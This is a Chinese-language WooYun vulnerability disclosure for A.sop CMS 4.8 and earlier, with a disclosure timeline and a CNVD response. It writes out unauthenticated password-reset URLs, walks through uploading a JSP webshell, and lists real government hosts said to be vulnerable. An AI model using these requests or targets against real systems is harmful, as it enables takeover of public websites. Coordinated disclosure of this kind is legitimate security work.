漏洞详情

披露状态:

2014-02-13: 细节已通知厂商并且等待厂商处理中
2014-02-18: 厂商已经确认,细节仅向厂商公开
2014-02-21: 细节向第三方安全合作伙伴开放
2014-02-28: 细节向核心白帽子及相关领域专家公开
2014-03-10: 细节向普通白帽子公开
2014-03-30: 细节向实习白帽子公开
2014-05-14: 细节向公众公开

简要描述:

该漏洞影响的是A.sop CMS 4.8及以下版本,基本上是为http://www.wooyun.org/bugs/wooyun-2010-013964的补充;
本来这些版本的用户也没有几个了,加上版本较早,无论是兼容性还是功能性都没有什么亮点,但是还有几个相对有点分量,于是希望cncert能够协调告知。

详细说明:

a.sop CMS4.8以下版本权限控制松散,有很多功能权限的验证采用了js验证,或者是没有验证,其中影响最大的是管理用户部分:

比如:

http://cms.qingdao.gov.cn:10000/cmsweb/admin/loadUserAttrAction.do?dn=dc=cms,cn=human,sn=1

可以直接查看平台超级用户的资料:

4331.png



这里可以得到超级用户的用户名,变换sn=1的值,可以看到其他的管理用户信息;

这里只是个辅助;

主要的越权是直接重置用户密码;

比如:

http://cms.qingdao.gov.cn:10000/cmsweb/admin/resetUserPasswordAction.do?dn=dc=cms,cn=human,sn=1

直接get访问以上link,超级用户cmsdev的用户名就会被重置成password

(个别的可能存在js验证,你可以通过FF的noscript来验证)

继续补充一点,如何获取shell

使用重置密码的超级用户cmsdev登录,

http://cms.qingdao.gov.cn:10000/cmsweb

(由于该系统对浏览器的支持不好,建议你找一个低版本的IE,比如IE6)

点击内容管理,进入对应的栏目添加文章,

在附件上传那里直接上传jsp脚本即可

y9.png



上传完成,选择编辑器底部的html查看源码,可以看到上传的jsp脚本路径

j3.png



jsp脚本木马的路径就是

http://cms.qingdao.gov.cn:10000/n16858051/n16858711/n28030640.files/n28030645.jsp

访问如图:

09.png

漏洞证明:

目前能够搜到的A.sop cms大概有这些,南宁市,合肥市,科协,体育总局,青岛市等等:

http://cms.qingdao.gov.cn:10000/cmsweb

http://58.59.136.79:7001/cmsweb/

http://58.59.136.81:8000/cmsweb

http://218.21.246.6:7001/cmsweb

http://220.178.124.29:7001/cmsweb

http://210.14.113.47:7001/cmsweb/

http://220.178.124.33:7001/cmsweb

http://202.204.24.102:7001/cmsweb

http://cms.qingdao.gov.cn:10000/cmsweb

http://www.qdsn.gov.cn:7001/cmsweb

http://cms.laoshan.gov.cn:7001/cmsweb/

http://cms.sport.gov.cn/cmsweb/

验证重置科协的后台超级用户密码,password登入:

kx413.png





至于国家体育总局,看看用户信息可以

http://cms.sport.gov.cn/cmsweb/admin/loadUserAttrAction.do?dn=dc=cms,cn=human,sn=1

重置密码和上传就不验证了。(祝愿中国健儿在本届冬奥会取得更好的成绩!)

(其实从别的系统试探过,体育总局部署有WAF的,脚本木马会被拦截的。)

修复方案:

换一款CMS产品吧。

价格便宜,功能质量好的有很多。

版权声明:转载请注明来源 刺刺@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-18 10:04

厂商回复:

CNVD确认并在多个实例上复现所述情况,根据测试结果,已经转由CNCERT向广西、内蒙古、安徽、山东等省份下发处置任务,同时还将继续对可能存在更高层级用户进行测试。如后续有涉及国家部委网站的情况,也请白帽子继续提供。

rank 20

最新状态:

暂无


漏洞评价: